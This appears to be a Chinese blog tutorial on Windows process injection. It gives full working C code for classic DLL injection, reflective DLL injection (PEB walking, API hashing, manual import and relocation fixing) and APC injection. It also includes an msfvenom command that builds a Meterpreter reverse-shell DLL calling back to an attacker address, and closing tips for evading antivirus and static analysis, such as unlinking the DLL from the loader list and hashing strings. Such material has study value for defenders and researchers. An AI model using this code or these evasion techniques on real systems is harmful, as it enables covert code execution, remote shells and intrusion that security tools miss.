Windows上的进程注入
一、概念
进程注入,是在正在运行的进程中注入自己代码并运行的一种方法。
我个人的理解,进程注入可以分为线程注入、dll注入、以及PE注入。
线程注入,也是最简单的进程注入,通过创建远程线程的方式在目标进程创建一个线程,执行自己的任务。
- dll注入,通过编写一个自己的dll库文件,并把它注入到目标进程的内存中,从而在目标进程中运行自己库中的代码。
- PE注入,通过编写一个自己的可执行PE文件,用它替换目标进程的代码段等内容,让目标进程执行自己的代码。
简而言之,进程注入的目的就是让目标进程执行自己编写的代码,那么也可以叫代码注入。
二、dll注入
每个dll库都有一个入口函数DllMain,进程会在特定情况下调用该函数:
- 进程加载该dll
- 进程卸载该dll
- dll在被加载后创建了新线程
- dll在被加载后一个线程被终止
利用该特性,我们可以在DllMain函数中调用我们想要的函数,这样在该dll库被加载进内存时就会去调用我们预设的函数。
首先使用 CreateToolhelp32Snapshot 拍摄快照获取目标进程pid,然后使用 OpenProcess 获取进程句柄。Windows系统默认开启地址随机化(ASLR安全机制),所以每次开机启动时系统DLL加载基址都不一样。部分系统dll(kernel32.dll,ntdll.dll)的加载地址,在每次启动时其基址可以发生改变,但是启动之后在每个进程中的虚拟地址基址都是固定的。因此,我们可以在攻击进程中使用GetProcAddress函数获得本进程中LoadLibraryA函数的地址,同时该地址等于目标进程中该函数的地址(kernel32和ntdll库每个用户进程都是必须加载的)。Microsoft提供 CreateRemoteThread 函数创建在另一个进程的虚拟地址空间中运行的线程。通过远程线程执行LoadLibraryA函数去加载目标dll。
HANDLE CreateRemoteThread(
HANDLE hProcess, //进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, //一般可为NULL
SIZE_T dwStackSize, // 0即可
LPTHREAD_START_ROUTINE lpStartAddress, //执行函数地址
LPVOID lpParameter, //函数参数
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
我们也可以使用msf生成一个dll用于攻击,该dll被加载后会开启反弹一个shell。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=2333 -f dll -o inject.dll
这里是用火绒剑观察到的测试进程Test2.exe在注入前的模块列表。
下面是测试进程Test2.exe在注入后的模块列表,我们可以观察到reflective_dll.dll已经被目标进程加载进内存了。
下面是我关于dll注入的实现代码。
#include <iostream> #include <Windows.h> #include <tlhelp32.h> using namespace std; int main() { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); //通过遍历进程快照找到目标进程,获得其PID。因为OpenProcess函数需要PID作为输入。 HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); BOOL bFlag = Process32First(hProcessSnap, &pe32); DWORD pid = -1; while (bFlag) { if (strcmp(pe32.szExeFile, "Test2.exe") == 0) { pid = pe32.th32ProcessID; } bFlag = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); //通过OpenProcess获得目标进程的句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (hProcess == NULL) { return -1; } //向目标进程申请一块空间存储要加载的dll的路径 LPVOID pszDllName = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE); char szDllName[100] = "D:\\逆向学习资源\\进程注入\\ReflectiveDLLInjection-master\\bin\\reflective_dll.dll"; BOOL bRet = WriteProcessMemory(hProcess, pszDllName, szDllName, MAX_PATH, NULL); if (!bRet) { return -1; } //获取LoadLibraryA函数的地址,系统库的地址在每个进程中虚拟地址都是不变的。 PVOID LoadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); //在目标进程中创建远程线程执行LoadLibraryA函数加载我们的dll库,目标进程只会操作其进程空间内的内容 HANDLE m_hInjecthread = CreateRemoteThread(hProcess,NULL,0, (LPTHREAD_START_ROUTINE)LoadLibraryAddr, pszDllName,NULL,NULL); //释放申请的空间 BOOL bRes = VirtualFreeEx(hProcess, pszDllName,4096, MEM_DECOMMIT); if (NULL == bRes) { return -1; } //等待线程工作结束后关闭句柄 DWORD dw = WaitForSingleObject(m_hInjecthread, -1); if (dw) { CloseHandle(m_hInjecthread); } CloseHandle(hProcess); system("pause"); return 0; }
三、反射式dll注入
反射式dll注入是指,不通过LoadLibrary等API来完成DLL的装载,而是在目标进程中通过自己实现LoadLibrary函数的功能来完成dll装载。
目的是为了更好的隐藏dll注入的行为,算是免杀处理吧。
反射式dll注入分为两部分:第一部分是编写注入器程序将dll写入到目标进程中,并令其执行反射装载函数完成dll装载;第二部分是在目标进程中执行反射装载函数完成dll装载。
先进行第一部分,注入器程序将dll写入到目标进程。
将编写好的反射dll写入到目标进程中,获取ReflectiveLoader函数在dll文件中的位置,然后通过CreateRemoteThread函数执行ReflectiveLoader函数。
HANDLE LoadRemoteLibrary(HANDLE hProcess, PVOID lpBuffer, DWORD dwLength, LPVOID lpParameter) { HANDLE hThread = NULL; DWORD dwThreadId = 0; LPVOID lpRemoteLibraryBuffer = NULL; LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; DWORD dwReflectiveLoaderOffset = 0; lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL); //获取ReflectiveLoader函数在文件中的偏移 dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer); //获取在目标进程中ReflectiveLoader函数的地址并执行,使该dll完成加载 lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); hThread = CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId); return hThread; }
为了获得ReflectiveLoader函数在文件中的位置,找到导出函数表,找到导出函数名称表函数名为"ReflectiveLoader"的项,根据该项的索引号找到导出函数地址表对应的函数地址。PS:表中的地址是RVA,虚拟地址偏移,是加载入内存后的偏移。因此我们要得到文件中的偏移,就需要函数地址的RVA - (某已知RVA - 其对应文件偏移) 。
DWORD GetReflectiveLoaderOffset(VOID * lpReflectiveDllBuffer) { UINT_PTR pfBaseAddress = 0; UINT_PTR pfNTHeader = 0; UINT_PTR pfExportDirectory = 0; UINT_PTR pfExportTable = 0; UINT_PTR pfNameArray = 0; UINT_PTR pfAddressArray = 0; UINT_PTR pfNameOrdinals = 0; //该程序只针对Win32位程序 DWORD dwCompiledArch = 1; //导出函数数量 DWORD dwCounter = 0; pfBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; pfNTHeader = pfBaseAddress + ((PIMAGE_DOS_HEADER)pfBaseAddress)->e_lfanew; if (((PIMAGE_NT_HEADERS)pfNTHeader)->OptionalHeader.Magic == 0x010B) // PE32 { if (dwCompiledArch != 1) return 0; } else if (((PIMAGE_NT_HEADERS)pfNTHeader)->OptionalHeader.Magic == 0x020B) // PE64 { if (dwCompiledArch != 2) return 0; } else { return 0; } //获得导出表在文件中的地址 pfExportDirectory = (UINT_PTR)&((PIMAGE_NT_HEADERS)pfNTHeader)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; pfExportTable = pfBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)pfExportDirectory)->VirtualAddress, pfBaseAddress); //获得导出名称表在文件中的地址 pfNameArray = pfBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)pfExportTable)->AddressOfNames, pfBaseAddress); //获得导出函数地址表在文件中的地址 pfAddressArray = pfBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)pfExportTable)->AddressOfFunctions, pfBaseAddress); //获得导出原始名称表在文件中的地址 pfNameOrdinals = pfBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)pfExportTable)->AddressOfNameOrdinals, pfBaseAddress); //获得导出函数数量 dwCounter = ((PIMAGE_EXPORT_DIRECTORY)pfExportTable)->NumberOfNames; char* pExportedFunctionName = NULL; while (dwCounter--) { pExportedFunctionName = (char *)(pfBaseAddress + Rva2Offset(DEREF_32(pfNameArray), pfBaseAddress)); if (strstr(pExportedFunctionName, "ReflectiveLoader") != NULL) { pfAddressArray = pfBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)pfExportTable)->AddressOfFunctions, pfBaseAddress); pfAddressArray += (DEREF_16(pfNameOrdinals) * sizeof(DWORD)); return Rva2Offset(DEREF_32(pfAddressArray), pfBaseAddress); } pfNameArray += sizeof(DWORD); pfNameOrdinals += sizeof(WORD); } return 0; }
获取虚拟内存偏移与文件偏移的相对偏移的代码如下:
//虚拟内存偏移 - 文件偏移 = 相对偏移 DWORD Rva2Offset(DWORD dwRva, UINT_PTR uiBaseAddress) { PIMAGE_NT_HEADERS pNtHeaders = NULL; PIMAGE_SECTION_HEADER pSectionHeader = NULL; pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader); if (dwRva < pSectionHeader[0].PointerToRawData) return dwRva; for (DWORD wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++) { if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData)) return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData); } return 0; }
接下来是关于第二部分,在目标进程中实现dll的装载。
要想完成dll在目标进程中的加载,需要以下几步:
- 修复导入表
- 将NT头与节区头和节区复制到新开辟的内存空间
- 修复重定位表
- 调用代码入口点
首先,我们需要修复dll文件的导入表,此时表中的函数地址都指向函数名,不是真实地址。这时我们需要从目标进程加载的dll中获得loadLibrary、GetProcAddress、VirtualAlloc,以及NtFlushInstructionCache 这些函数的地址,以便后续使用。
在Intel CPU 中获取PEB的方法:32位系统则读取FS:[0x30],64位系统则读取GS:[0x60]。
在32位的进程中,我们可以通过调用__readfsdword(0x30)来获取进程环境块PEB的地址。通过PEB的成员pLdr,可以得到已加载dll的链表,访问该链表可以获得它们的导出函数,其中就有有我们想要的几个函数。PS:kernel32.dll和ntdll.dll库是每个ring3进程必须加载的,我们需要的几个函数就在这两个库中。
代码如下:
pBaseAddress = __readfsdword(0x30); pBaseAddress = (ULONG_PTR)((_PPEB)pBaseAddress)->pLdr; pTmp1 = (ULONG_PTR)((PPEB_LDR_DATA)pBaseAddress)->InMemoryOrderModuleList.Flink; //遍历导入库链表 while (pTmp1) { //获取dll名的地址指针 pTmp2 = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)pTmp1)->BaseDllName.pBuffer; // dll名长度 dwCounter = ((PLDR_DATA_TABLE_ENTRY)pTmp1)->BaseDllName.Length; //初始化索引 pTmp3 = 0; // //希望通过库名字的hash值比较,判断dll。目的是为了隐藏。 while (dwCounter--) { pTmp3 = ror((DWORD)pTmp3); // 将dll名转为大写 if (*((BYTE *)pTmp2) >= 'a') pTmp3 += *((BYTE *)pTmp2) - 0x20; else pTmp3 += *((BYTE *)pTmp2); pTmp2++; } //通过kernel32.dll库名字的hash值比较,判断dll if ((DWORD)pTmp3 == KERNEL32DLL_HASH) { pBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)pTmp1)->DllBase; pExportDir = pBaseAddress + ((PIMAGE_DOS_HEADER)pBaseAddress)->e_lfanew; pNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)pExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; pExportDir = (pBaseAddress + ((PIMAGE_DATA_DIRECTORY)pNameArray)->VirtualAddress); pNameArray = (pBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)pExportDir)->AddressOfNames); pNameOrdinals = (pBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)pExportDir)->AddressOfNameOrdinals); dwCounter = 3; // 获取LoadLibraryA、GetProcAddress、VirtualAlloc函数入口地址 while (dwCounter > 0) { // 计算函数名的hash值 dwHashValue = hash((char *)(pBaseAddress + DEREF_32(pNameArray))); if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) { pFuncAddress = (pBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)pExportDir)->AddressOfFunctions); pFuncAddress += (DEREF_16(pNameOrdinals) * sizeof(DWORD)); if (dwHashValue == LOADLIBRARYA_HASH) pLoadLibraryA = (LOADLIBRARYA)(pBaseAddress + DEREF_32(pFuncAddress)); else if (dwHashValue == GETPROCADDRESS_HASH) pGetProcAddress = (GETPROCADDRESS)(pBaseAddress + DEREF_32(pFuncAddress)); else if (dwHashValue == VIRTUALALLOC_HASH) pVirtualAlloc = (VIRTUALALLOC)(pBaseAddress + DEREF_32(pFuncAddress)); dwCounter--; } pNameArray += sizeof(DWORD); pNameOrdinals += sizeof(WORD); } }//获取NtFlushInstructionCache函数入口地址 else if ((DWORD)pTmp3 == NTDLLDLL_HASH) { pBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)pTmp1)->DllBase; pExportDir = pBaseAddress + ((PIMAGE_DOS_HEADER)pBaseAddress)->e_lfanew; pNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)pExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; pExportDir = (pBaseAddress + ((PIMAGE_DATA_DIRECTORY)pNameArray)->VirtualAddress); pNameArray = (pBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)pExportDir)->AddressOfNames); pNameOrdinals = (pBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)pExportDir)->AddressOfNameOrdinals); dwCounter = 1; while (dwCounter > 0) { dwHashValue = hash((char *)(pBaseAddress + DEREF_32(pNameArray))); if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) { pFuncAddress = (pBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)pExportDir)->AddressOfFunctions); pFuncAddress += (DEREF_16(pNameOrdinals) * sizeof(DWORD)); if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(pBaseAddress + DEREF_32(pFuncAddress)); dwCounter--; } pNameArray += sizeof(DWORD); pNameOrdinals += sizeof(WORD); } } if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) break; //pTmp1 = DEREF(pTmp1); pTmp1 = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)pTmp1)->InMemoryOrderModuleList.Flink; }
接下来,我们首先需要根据可选头中的SizeOfImage获得的PE文件加载入内存的映像大小申请一块足够大的空间,将NT头与节区头直接连续写入到开辟的空间中。但是,各节区的新存储地址需要新存储空间的起始地址加上从节区表中对应的RVA。因为各节区加载入内存时不连续的,中间会有填充和内存对齐。
代码如下:
pNTHeader = pLibraryAddress + ((PIMAGE_DOS_HEADER)pLibraryAddress)->e_lfanew; //OptionalHeader.SizeOfImage: PE文件加载到内存中空间是连续的,这个值指定占用虚拟空间的大小 pBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)pNTHeader)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); pTmp1 = ((PIMAGE_NT_HEADERS)pNTHeader)->OptionalHeader.SizeOfHeaders; pTmp2 = pLibraryAddress; pTmp3 = pBaseAddress; //将文件头复制到新开辟的内存空间,所有头 + 区块表的大小 while (pTmp1--) *(BYTE *)pTmp3++ = *(BYTE *)pTmp2++; //复制所有节区到新内存空间 pTmp1 = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)pNTHeader)->OptionalHeader + ((PIMAGE_NT_HEADERS)pNTHeader)->FileHeader.SizeOfOptionalHeader); pTmp5 = ((PIMAGE_NT_HEADERS)pNTHeader)->FileHeader.NumberOfSections; while (pTmp5--) { pTmp2 = (pBaseAddress + ((PIMAGE_SECTION_HEADER)pTmp1)->VirtualAddress);//偏移 pTmp3 = (pLibraryAddress + ((PIMAGE_SECTION_HEADER)pTmp1)->PointerToRawData); pTmp4 = ((PIMAGE_SECTION_HEADER)pTmp1)->SizeOfRawData; while (pTmp4--) *(BYTE *)pTmp2++ = *(BYTE *)pTmp3++; pTmp1 += sizeof(IMAGE_SECTION_HEADER); }
这时我们需要对重新加载进内存的dll文件中的导入表进行修复,也就是在IAT中填上函数的内存地址。
通过loadLibrary函数将导入表中的dll都加载进来,再遍历INT通过GetProcAddress函数来获取对应的函数地址。
若不是以序号导入的函数项我们通过手动遍历导出表获取地址填上,否则通过GetProcAddress函数获得地址来填写。导出表函数地址表首个函数地址偏移加上用函数当前序号减去Base导出表是起始序号再乘以4个字节,就可以知道当前序号对应函数的地址偏移,最后加上库基址就是该函数的内存地址了。
//处理导入表 // pTmp2 = 导入表描述符的地址 pTmp2 = (ULONG_PTR)&((PIMAGE_NT_HEADERS)pNTHeader)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; // pTmp3 = 导入表第一个dll成员描述符的地址 pTmp3 = (pBaseAddress + ((PIMAGE_DATA_DIRECTORY)pTmp2)->VirtualAddress); //遍历所有dll的导入表 while (((PIMAGE_IMPORT_DESCRIPTOR)pTmp3)->Name) { //pLibraryAddress = 新加载进来的其他dll在内存中image的地址,它们的导出表相当于我们注入的dll的导入表 pLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(pBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)pTmp3)->Name)); // pTmp4 = VA of the OriginalFirstThunk------ INT pTmp4 = (pBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)pTmp3)->OriginalFirstThunk); // pTmp1 = VA of the IAT (via first thunk not origionalfirstthunk) pTmp1 = (pBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)pTmp3)->FirstThunk); while (DEREF(pTmp1)) { if (pTmp4 && ((PIMAGE_THUNK_DATA)pTmp4)->u1.Ordinal & IMAGE_ORDINAL_FLAG) { pExportDir = pLibraryAddress + ((PIMAGE_DOS_HEADER)pLibraryAddress)->e_lfanew; pNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)pExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; // 获得导出表的va pExportDir = (pLibraryAddress + ((PIMAGE_DATA_DIRECTORY)pNameArray)->VirtualAddress); pFuncAddress = (pLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)pExportDir)->AddressOfFunctions); pFuncAddress += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)pTmp4)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)pExportDir)->Base) * sizeof(DWORD)); // 修改导入表函数地址(目标进程) DEREF(pTmp1) = (pLibraryAddress + DEREF_32(pFuncAddress)); } else { pTmp2 = (pBaseAddress + DEREF(pTmp1)); char* name = ((PIMAGE_IMPORT_BY_NAME)pTmp2)->Name; DEREF(pTmp1) = (ULONG_PTR)pGetProcAddress((HMODULE)pLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)pTmp2)->Name); } pTmp1 += sizeof(ULONG_PTR); if (pTmp4) pTmp4 += sizeof(ULONG_PTR); } // get the next import pTmp3 += sizeof(IMAGE_IMPORT_DESCRIPTOR); }
然后,我们需要修复重定位表中的项,因为编译器在编译代码时,可能有些地址是整个直接硬编码在指令中。这些指令直接调用会产生错误,因为库中原先定义的基址可能在实际执行过程中被其他dll库占用,而只能选择其他基址的内存空间。只有dll库需要修复重定位表,因为其每次加载的基质都可能不同。关于修复过程,我们只需要让重定位表中指向的重定位块们的各项加上新的基址(项中原本内容为偏移)就可以了。
代码如下:
//修复重定位表 pLibraryAddress = pBaseAddress - ((PIMAGE_NT_HEADERS)pNTHeader)->OptionalHeader.ImageBase; // pTmp2 = the address of the relocation directory pTmp2 = (ULONG_PTR)&((PIMAGE_NT_HEADERS)pNTHeader)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; //确认是否有重定位表 if (((PIMAGE_DATA_DIRECTORY)pTmp2)->Size) { // pTmp3 is the first entry (IMAGE_BASE_RELOCATION) pTmp3 = (pBaseAddress + ((PIMAGE_DATA_DIRECTORY)pTmp2)->VirtualAddress); while (((PIMAGE_BASE_RELOCATION)pTmp3)->SizeOfBlock) { // pTmp1 = the VA for this relocation block pTmp1 = (pBaseAddress + ((PIMAGE_BASE_RELOCATION)pTmp3)->VirtualAddress); // pTmp2 = number of entries in this relocation block pTmp2 = (((PIMAGE_BASE_RELOCATION)pTmp3)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); // pTmp4 is the first entry in the current relocation block pTmp4 = pTmp3 + sizeof(IMAGE_BASE_RELOCATION); // while (pTmp2--) { if (((PIMAGE_RELOC)pTmp4)->type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)(pTmp1 + ((PIMAGE_RELOC)pTmp4)->offset) += pLibraryAddress; else if (((PIMAGE_RELOC)pTmp4)->type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(pTmp1 + ((PIMAGE_RELOC)pTmp4)->offset) += (DWORD)pLibraryAddress; else if (((PIMAGE_RELOC)pTmp4)->type == IMAGE_REL_BASED_HIGH) *(WORD *)(pTmp1 + ((PIMAGE_RELOC)pTmp4)->offset) += HIWORD(pLibraryAddress); else if (((PIMAGE_RELOC)pTmp4)->type == IMAGE_REL_BASED_LOW) *(WORD *)(pTmp1 + ((PIMAGE_RELOC)pTmp4)->offset) += LOWORD(pLibraryAddress); pTmp4 += sizeof(IMAGE_RELOC); } pTmp3 = pTmp3 + ((PIMAGE_BASE_RELOCATION)pTmp3)->SizeOfBlock; } }
最好,我们调用dll的代码入口点完成整个加载过程。
代码如下:
// 调用程序入口点 // pTmp1 = the VA of our newly loaded DLL/EXE's entry point pTmp1 = (pBaseAddress + ((PIMAGE_NT_HEADERS)pNTHeader)->OptionalHeader.AddressOfEntryPoint); // 刷新指令缓存,以避免使用被我们的重定位更新过的旧代码 pNtFlushInstructionCache((HANDLE)-1, NULL, 0); //调用程序入口点,使其执行DllMain,并传递消息为Dll的状态为DLL_PROCESS_ATTACH ((DLLMAIN)pTmp1)((HINSTANCE)pBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
四、EXE注入
目前若想将EXE文件注入到远程进程中执行代码,有两种思路:
- 与反射式dll注入类似,只是需要把dll换成exe文件即可;
- 通过将创建一个挂起进程,将其原本模块卸载掉,再将我们自己定义的exe文件的模块加载替换进去执行。
原理和dll注入大同小异就不写了。
五、APC注入
APC,又叫异步过程调用。
在进程中每个线程都有一个APC队列,当线程进入可告警状态且再次开始执行时就会执行APC队列中的APC函数。通过向目标进程的线程的APC队列设置APC函数,以此加载我们定义的dll,从而执行自定义的代码,这就是APC注入。
所谓可告警状态,就是指调用SleepEx、WaitForSingleObject、WaitForSingleObjectEx,以及MsgWaitForMutipleObject等类似的函数进入的等待信号状态。
我们通过QueueUserAPC函数来将某个函数作为APC函数加入到APC队列中。
通常,为了确保执行我们的APC函数,建议所有线程的APC队列都加入APC函数。
PS:如果一个线程在开始运行之前就将APC函数插入APC队列,则该线程将从调用APC函数开始。线程每一次进入可告警状态,一次只能运行一个APC回调函数,按入队顺序执行。
代码如下:
int InjectApc(WCHAR* DllFullPath, ULONG ProcessId) { HANDLE hTatgetProcessHandle; hTatgetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); if (hTatgetProcessHandle == NULL) {return 0; } ULONG32 ulDllLength = (ULONG32)wcslen(DllFullPath) + 1; //申请内存 WCHAR* pRemoteAddress = (WCHAR*)VirtualAllocEx(hTatgetProcessHandle, NULL, ulDllLength * sizeof(WCHAR), MEM_COMMIT, PAGE_READWRITE); if (pRemoteAddress == NULL) { CloseHandle(hTatgetProcessHandle); return 0; } //DLL写入 if (WriteProcessMemory(hTatgetProcessHandle, pRemoteAddress, (LPVOID)DllFullPath, ulDllLength * sizeof(WCHAR), NULL) == FALSE) { VirtualFreeEx(hTatgetProcessHandle, pRemoteAddress, ulDllLength, MEM_DECOMMIT); CloseHandle(hTatgetProcessHandle); return 0; } THREADENTRY32 ThreadEntry32 = { 0 }; HANDLE hThreadSnap = INVALID_HANDLE_VALUE; ThreadEntry32.dwSize = sizeof(THREADENTRY32); HANDLE hThreadHandle; BOOL bStatus; DWORD dwReturn; //创建快照 hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreadSnap == INVALID_HANDLE_VALUE) { return 0; } if (!Thread32First(hThreadSnap, &ThreadEntry32)) { CloseHandle(hThreadSnap); return 1; } do { //遍历线程 if (ThreadEntry32.th32OwnerProcessID == ProcessId) { printf("TID:%d\n", ThreadEntry32.th32ThreadID); hThreadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, ThreadEntry32.th32ThreadID); if (hThreadHandle) { //向线程插入APC dwReturn = QueueUserAPC( (PAPCFUNC)LoadLibrary, hThreadHandle, (ULONG_PTR)pRemoteAddress); if (dwReturn > 0) { bStatus = TRUE; } //关闭句柄 CloseHandle(hThreadHandle); } } } while (Thread32Next(hThreadSnap, &ThreadEntry32)); VirtualFreeEx(hTatgetProcessHandle, pRemoteAddress, ulDllLength, MEM_DECOMMIT); CloseHandle(hThreadSnap); CloseHandle(hTatgetProcessHandle); return 0; }
六、优化升级
1.我们可以在dll完成导入表后对新加载进来的dll进行摘链
新导入进来的dll会记录在PEB->pldr中,如果有比较敏感的库可能会成为检测的特征,所以在导入表修复后删除其在ldr中的记录,可以让这个dll注入更加隐蔽。
2.将CreateReomteThread函数替换掉
该函数在注入这块都已经用烂了,很多人都知道。我们可以用 ntdll 库中的 NtCreateThread 来代替。
3.代码中凡是用到访问进程信息、申请内存分配等觉得敏感的api都可以通过访问导入表去获取其地址再访问的形式,这样可以为静态分析增加阻碍。
4.对所有的字符串都通过hash加密后再比对。
5.可以创建一个系统服务,将dll注入到这个系统服务的srvhost进程中。
参考链接
https://bbs.pediy.com/thread-224241.htm
http://www.youngroe.com/2015/08/01/Debug/peb-analysis/
http://yimitumi.com/2021/09/02/PE-%E9%87%8D%E5%AE%9A%E4%BD%8D%E8%A1%A8/
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通